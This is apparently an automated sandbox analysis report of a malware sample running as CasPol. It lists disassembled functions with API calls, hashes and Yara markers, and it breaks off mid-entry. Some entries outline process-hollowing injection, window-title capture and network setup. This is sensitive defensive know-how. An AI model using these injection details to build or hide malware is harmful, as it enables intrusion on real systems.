                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: _free$ErrorLast_abort
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 2991157371-0
                                                                                                                                                                                                  • Opcode ID: 5c488e73cd7317a59bb91e94e032dcb6bf067ffc0982221c2c2ef85a747d1bec
                                                                                                                                                                                                  • Instruction ID: a9f826519387c1ac895116d2974c89b4af6d1f604a138ae73dd4863203302c4b
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 5c488e73cd7317a59bb91e94e032dcb6bf067ffc0982221c2c2ef85a747d1bec
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 2D31D371900104AFEB10EB69D441B9A77F4EF81325F2540AFE5049B2A3DB7A5D44CB58
                                                                                                                                                                                                  Function 10006C5F Relevance: 3.1, APIs: 2, Instructions: 91COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 10005AF6: GetLastError.KERNEL32(?,?,10006C6C), ref: 10005AFA
                                                                                                                                                                                                    • Part of subcall function 10005AF6: _free.LIBCMT ref: 10005B2D
                                                                                                                                                                                                    • Part of subcall function 10005AF6: SetLastError.KERNEL32(00000000,?,?,10006C6C), ref: 10005B6E
                                                                                                                                                                                                    • Part of subcall function 10005AF6: _abort.LIBCMT ref: 10005B74
                                                                                                                                                                                                    • Part of subcall function 10006D7E: _abort.LIBCMT ref: 10006DB0
                                                                                                                                                                                                    • Part of subcall function 10006D7E: _free.LIBCMT ref: 10006DE4
                                                                                                                                                                                                    • Part of subcall function 100069F3: GetOEMCP.KERNEL32(00000000,?,?,10006C7C,?), ref: 10006A1E
                                                                                                                                                                                                  • _free.LIBCMT ref: 10006CD7
                                                                                                                                                                                                  • _free.LIBCMT ref: 10006D0D
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.658489687.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658478098.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658489687.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_10000000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: _free$ErrorLast_abort
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 2991157371-0
                                                                                                                                                                                                  • Opcode ID: edadbe4ca17b1bb3a790d59a6ed19414cc5eb62636eebdfc00c28812a33e9cae
                                                                                                                                                                                                  • Instruction ID: 62e76a57c0cb8018fa5258269fd2d3c97d0f5aa08c1c35bbbea2ca126a332e06
                                                                                                                                                                                                  • Opcode Fuzzy Hash: edadbe4ca17b1bb3a790d59a6ed19414cc5eb62636eebdfc00c28812a33e9cae
                                                                                                                                                                                                  • Instruction Fuzzy Hash: AB31D835904249AFF700CB69DD81B5D77F6EF493A0F3141A9E8049B295EB76AD40CB50
                                                                                                                                                                                                  Function 0044854A Relevance: 3.1, APIs: 2, Instructions: 65libraryloaderCOMMONLIBRARYCODE
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,?,00000000,00000000,00000000,?,004488B9,00000006,FlsSetValue,0045F170,0045F178,00000000,00000364,?,00448367,00000000), ref: 004485AA
                                                                                                                                                                                                  • __crt_fast_encode_pointer.LIBVCRUNTIME ref: 004485B7
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: AddressProc__crt_fast_encode_pointer
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 2279764990-0
                                                                                                                                                                                                  • Opcode ID: c6cf5396499d17f56fb6a2281c71017d1bec5fc69850f55703e39bd70672811c
                                                                                                                                                                                                  • Instruction ID: be9fc4cf4793659cabcfb8eeb6b3f823a3a139bea871a56029073562aa2b3f0c
                                                                                                                                                                                                  • Opcode Fuzzy Hash: c6cf5396499d17f56fb6a2281c71017d1bec5fc69850f55703e39bd70672811c
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 4B110637A00220BBFB229F1DDC4096F7395AB84364716866AFD19EB354DF34EC4186D9
                                                                                                                                                                                                  Function 10005C45 Relevance: 3.1, APIs: 2, Instructions: 65libraryloaderCOMMONLIBRARYCODE
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,?,00000000,00000000,00000000,?,10005E85,00000006,FlsSetValue,1000E190,FlsSetValue,00000000,00000364,?,10005BC8,00000000), ref: 10005CA5
                                                                                                                                                                                                  • __crt_fast_encode_pointer.LIBVCRUNTIME ref: 10005CB2
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.658489687.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658478098.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658489687.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_10000000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: AddressProc__crt_fast_encode_pointer
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 2279764990-0
                                                                                                                                                                                                  • Opcode ID: 309bc129bf2195ff1d9c64394061bd6fc65cf8cbf03cde5b7a92afcb69d4c1ae
                                                                                                                                                                                                  • Instruction ID: bece27fcde9612dcc576c905fc453b1e46dde912844247b60aafe4dc7e802519
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 309bc129bf2195ff1d9c64394061bd6fc65cf8cbf03cde5b7a92afcb69d4c1ae
                                                                                                                                                                                                  • Instruction Fuzzy Hash: D0118F37A007259FFB26DE18DD9095B73E5EB843E17168220ED18AB258DA32EC0196A1
                                                                                                                                                                                                  Function 00446206 Relevance: 3.0, APIs: 2, Instructions: 44memoryCOMMONLIBRARYCODE
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • _free.LIBCMT ref: 00446227
                                                                                                                                                                                                    • Part of subcall function 004461B8: RtlAllocateHeap.NTDLL(00000000,00435329,?,?,004388C7,?,?,00000000,?,?,0040DE9D,00435329,?,?,?,?), ref: 004461EA
                                                                                                                                                                                                  • RtlReAllocateHeap.NTDLL(00000000,00000000,?,?,0000000F,00000000,00432F93,00000000,0000000F,0042F99D,?,?,00431A44,?,?,00000000), ref: 00446263
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: AllocateHeap$_free
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 1482568997-0
                                                                                                                                                                                                  • Opcode ID: b10fa1e8472e683284d1f6c52ed4eb802d80ccb8cfc65d6c0dd02300a023487f
                                                                                                                                                                                                  • Instruction ID: 528349031ecf72c594af6ac828cc426c74ce8c7b4bfa82022820746e0f177899
                                                                                                                                                                                                  • Opcode Fuzzy Hash: b10fa1e8472e683284d1f6c52ed4eb802d80ccb8cfc65d6c0dd02300a023487f
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 4CF0283110121176BB213B266C01B6B3759AF83B70B1700ABFC1466281CFBCCC41406F
                                                                                                                                                                                                  Function 0041CB72 Relevance: 3.0, APIs: 2, Instructions: 42windowCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • FormatMessageA.KERNEL32(00001100,00000000,00000000,00000400,?,00000000,00000000,00474EF8,00474EF8), ref: 0041CB9A
                                                                                                                                                                                                  • LocalFree.KERNEL32(?,?), ref: 0041CBC0
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: FormatFreeLocalMessage
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 1427518018-0
                                                                                                                                                                                                  • Opcode ID: 67adfc09aafb831b3a48ebdbcdfa97b060f7c69c55f40cb6aa4d6edf74b040ef
                                                                                                                                                                                                  • Instruction ID: 923000db8f6a2d31ebee0df48ef62036c6bc2ff20d3f060cbaedccf048ea6ec3
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 67adfc09aafb831b3a48ebdbcdfa97b060f7c69c55f40cb6aa4d6edf74b040ef
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 34F0A930B00219A6DF14A766DC4ADFF772DDB44305B10407FB605B21D1DE785D059659
                                                                                                                                                                                                  Function 0040482D Relevance: 3.0, APIs: 2, Instructions: 40networkCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • socket.WS2_32(00000002,00000001,00000006), ref: 00404852
                                                                                                                                                                                                  • CreateEventW.KERNEL32(00000000,00000000,00000001,00000000,?,0040530B,?,?,00000000,00000000,?,?,00000000,00405208,?,00000000), ref: 0040488E
                                                                                                                                                                                                    • Part of subcall function 0040489E: WSAStartup.WS2_32(00000202,00000000), ref: 004048B3
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: CreateEventStartupsocket
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 1953588214-0
                                                                                                                                                                                                  • Opcode ID: 1e452a305f2f2717745e8e1604374189d9659e6cad2ea1bb393ee33250cb33e3
                                                                                                                                                                                                  • Instruction ID: ed99eca956a2b7a9b5891d615cc725ddac26720bb1770143763ad27df005c20f
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 1e452a305f2f2717745e8e1604374189d9659e6cad2ea1bb393ee33250cb33e3
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 760171B1408B809ED7359F38A8456877FE0AB55304F048D6EF1DA97B91D3B5A881CB18
                                                                                                                                                                                                  Function 0040165E Relevance: 3.0, APIs: 2, Instructions: 32COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                  • Opcode ID: e70bc1220f3c0aaa69c113e67994fb024de36f7e04ed45e289cd83dd41bab85d
                                                                                                                                                                                                  • Instruction ID: 1e9d0a06bdb6e9f7b23a96960dfc4b712b0be9606a3b942e14a6d4fe6a34620f
                                                                                                                                                                                                  • Opcode Fuzzy Hash: e70bc1220f3c0aaa69c113e67994fb024de36f7e04ed45e289cd83dd41bab85d
                                                                                                                                                                                                  • Instruction Fuzzy Hash: EBF0E2706042016BCB0C8B34CD50B2A37954B84325F248F7FF02BD61E0C73EC8918A0D
                                                                                                                                                                                                  Function 10001EEC Relevance: 3.0, APIs: 2, Instructions: 32COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • dllmain_crt_process_attach.LIBCMT ref: 10001F22
                                                                                                                                                                                                  • dllmain_crt_process_detach.LIBCMT ref: 10001F35
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.658489687.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658478098.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658489687.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_10000000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: dllmain_crt_process_attachdllmain_crt_process_detach
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 3750050125-0
                                                                                                                                                                                                  • Opcode ID: a083a93b774f70b3c38eb0fc97558fdcbb4f7ca7475fb23d15f98f17c44c9911
                                                                                                                                                                                                  • Instruction ID: 876e10da87b92cf64c449b9c471687dd08192407587f6dd1e67cbf7e6a41b987
                                                                                                                                                                                                  • Opcode Fuzzy Hash: a083a93b774f70b3c38eb0fc97558fdcbb4f7ca7475fb23d15f98f17c44c9911
                                                                                                                                                                                                  • Instruction Fuzzy Hash: A0E0D83646820BEAFB11EEB498156FD37D8EB011C1F100536B851C115ECB39EB90F121
                                                                                                                                                                                                  Function 0041BB27 Relevance: 3.0, APIs: 2, Instructions: 26COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetForegroundWindow.USER32 ref: 0041BB49
                                                                                                                                                                                                  • GetWindowTextW.USER32(00000000,?,00000100), ref: 0041BB5C
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Window$ForegroundText
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 29597999-0
                                                                                                                                                                                                  • Opcode ID: 2784d0b2db336add8319ad638143428ee57387129fbd6e48793ce9af45086994
                                                                                                                                                                                                  • Instruction ID: 8c7c0eb369f00208a7459315ff6bb8442305c4ed6b2016914032ba092e23deac
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 2784d0b2db336add8319ad638143428ee57387129fbd6e48793ce9af45086994
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 21E04875A00328A7E720A7A5AC4EFD5776C9708755F0001AEBA1CD61C2EDB4AD448BE5
                                                                                                                                                                                                  Function 00414F24 Relevance: 3.0, APIs: 2, Instructions: 21networkCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • getaddrinfo.WS2_32(00000000,00000000,00000000,00472ADC,004750E4,00000000,004151C3,00000000,00000001), ref: 00414F46
                                                                                                                                                                                                  • WSASetLastError.WS2_32(00000000), ref: 00414F4B
                                                                                                                                                                                                    • Part of subcall function 00414DC1: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00414E10
                                                                                                                                                                                                    • Part of subcall function 00414DC1: LoadLibraryA.KERNEL32(?), ref: 00414E52
                                                                                                                                                                                                    • Part of subcall function 00414DC1: GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 00414E72
                                                                                                                                                                                                    • Part of subcall function 00414DC1: FreeLibrary.KERNEL32(00000000), ref: 00414E79
                                                                                                                                                                                                    • Part of subcall function 00414DC1: LoadLibraryA.KERNEL32(?), ref: 00414EB1
                                                                                                                                                                                                    • Part of subcall function 00414DC1: GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 00414EC3
                                                                                                                                                                                                    • Part of subcall function 00414DC1: FreeLibrary.KERNEL32(00000000), ref: 00414ECA
                                                                                                                                                                                                    • Part of subcall function 00414DC1: GetProcAddress.KERNEL32(00000000,?), ref: 00414ED9
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Library$AddressProc$FreeLoad$DirectoryErrorLastSystemgetaddrinfo
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 1170566393-0
                                                                                                                                                                                                  • Opcode ID: 63e6a57adcb3e9d376df8b1f7a36805de8af56205c6b0d3f673684859221182d
                                                                                                                                                                                                  • Instruction ID: 64a5677b7ab27dcaa32d5743096e05a6e92bfc5102e3e8065abb212a99eff034
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 63e6a57adcb3e9d376df8b1f7a36805de8af56205c6b0d3f673684859221182d
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 23D017322005316BD320A769AC00AEBAA9EDFD6760B12003BBD08D2251DA949C8286E8
                                                                                                                                                                                                  Function 0043A46C Relevance: 3.0, APIs: 2, Instructions: 19COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 00438E14: try_get_function.LIBVCRUNTIME ref: 00438E29
                                                                                                                                                                                                  • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0043A48A
                                                                                                                                                                                                  • ___vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 0043A495
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Value___vcrt____vcrt_uninitialize_ptdtry_get_function
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 806969131-0
                                                                                                                                                                                                  • Opcode ID: 7c89d40c7eedfd0dbade414ce873565ce9a5339007f2f4ce9f715b5c80c9974a
                                                                                                                                                                                                  • Instruction ID: eb5cae5cbee30b1ad319c652a9e61f9a188d1dba44d7e0681113cf8ff6ee03f7
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 7c89d40c7eedfd0dbade414ce873565ce9a5339007f2f4ce9f715b5c80c9974a
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 34D0A725584340141C04A279381B19A1348193A778F70725FF5A0C51D2EEDD4070512F
                                                                                                                                                                                                  Function 100038E8 Relevance: 3.0, APIs: 2, Instructions: 19COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 10003AF1: try_get_function.LIBVCRUNTIME ref: 10003B06
                                                                                                                                                                                                  • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 10003906
                                                                                                                                                                                                  • ___vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 10003911
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.658489687.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658478098.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658489687.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_10000000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Value___vcrt____vcrt_uninitialize_ptdtry_get_function
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 806969131-0
                                                                                                                                                                                                  • Opcode ID: 85dde84de96db858e9ac955eb0900af54eb95c15fda99a7601862167fd99e8cb
                                                                                                                                                                                                  • Instruction ID: 7b09b9f0a56a55c342e0a0cde292dff0536b901afa775ab746cb2a45ce2dbbc5
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 85dde84de96db858e9ac955eb0900af54eb95c15fda99a7601862167fd99e8cb
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 50D0223A8087431CF80BC6BD2C67A8B23CCCB421F4360C2A6F7209A0CDEF60E0046322
                                                                                                                                                                                                  Function 004185A3 Relevance: 2.5, APIs: 2, Instructions: 18COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 0041812A: GetModuleHandleA.KERNEL32(ntdll,ZwCreateSection,00000000,00000000), ref: 00418171
                                                                                                                                                                                                    • Part of subcall function 0041812A: GetProcAddress.KERNEL32(00000000), ref: 00418174
                                                                                                                                                                                                    • Part of subcall function 0041812A: GetModuleHandleA.KERNEL32(ntdll,ZwMapViewOfSection), ref: 00418185
                                                                                                                                                                                                    • Part of subcall function 0041812A: GetProcAddress.KERNEL32(00000000), ref: 00418188
                                                                                                                                                                                                    • Part of subcall function 0041812A: GetModuleHandleA.KERNEL32(ntdll,ZwUnmapViewOfSection), ref: 00418199
                                                                                                                                                                                                    • Part of subcall function 0041812A: GetProcAddress.KERNEL32(00000000), ref: 0041819C
                                                                                                                                                                                                    • Part of subcall function 0041812A: GetModuleHandleA.KERNEL32(ntdll,ZwClose), ref: 004181AD
                                                                                                                                                                                                    • Part of subcall function 0041812A: GetProcAddress.KERNEL32(00000000), ref: 004181B0
                                                                                                                                                                                                    • Part of subcall function 0041812A: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 00418252
                                                                                                                                                                                                    • Part of subcall function 0041812A: VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004), ref: 0041826A
                                                                                                                                                                                                  • CloseHandle.KERNEL32(004040F5), ref: 004185B9
                                                                                                                                                                                                  • CloseHandle.KERNEL32(00465E84), ref: 004185C2
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Handle$AddressModuleProc$Close$AllocCreateProcessVirtual
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 2948481953-0
                                                                                                                                                                                                  • Opcode ID: 434d97dd539276bb1b15e641649fa57fd1217911ab9ffb100551eca57c0074db
                                                                                                                                                                                                  • Instruction ID: c73268819cb60d4ae5e82c4b87b0b0ed6d20300d6cd2269ac6e8254bb02e1260
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 434d97dd539276bb1b15e641649fa57fd1217911ab9ffb100551eca57c0074db
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 4FD05E76C4120CFFCB006BA4AC0E8AEB77CFB09211B50116AEC2442252AA369D188A64
                                                                                                                                                                                                  Function 004118ED Relevance: 1.6, APIs: 1, Instructions: 64COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                  • Opcode ID: 3a029944d771eb8a1b2846a7b5ac2838134afd3be6a211902ab956b72bc11154
                                                                                                                                                                                                  • Instruction ID: 3af98ca860494c99acd04ebe2bb4cc6dc665ec8dea8eb108ba88c8789d347e54
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 3a029944d771eb8a1b2846a7b5ac2838134afd3be6a211902ab956b72bc11154
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 9411E3B27201019FD7149B18C860BA6B766FF50710F5942AAE256CB3B2DB35EC91CA98
                                                                                                                                                                                                  Function 0043AA9B Relevance: 1.5, APIs: 1, Instructions: 48COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: __alldvrm
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 65215352-0
                                                                                                                                                                                                  • Opcode ID: 0fb042ee673182d0a975c8eeaa188f9506240d203db94b7081741dab0a726564
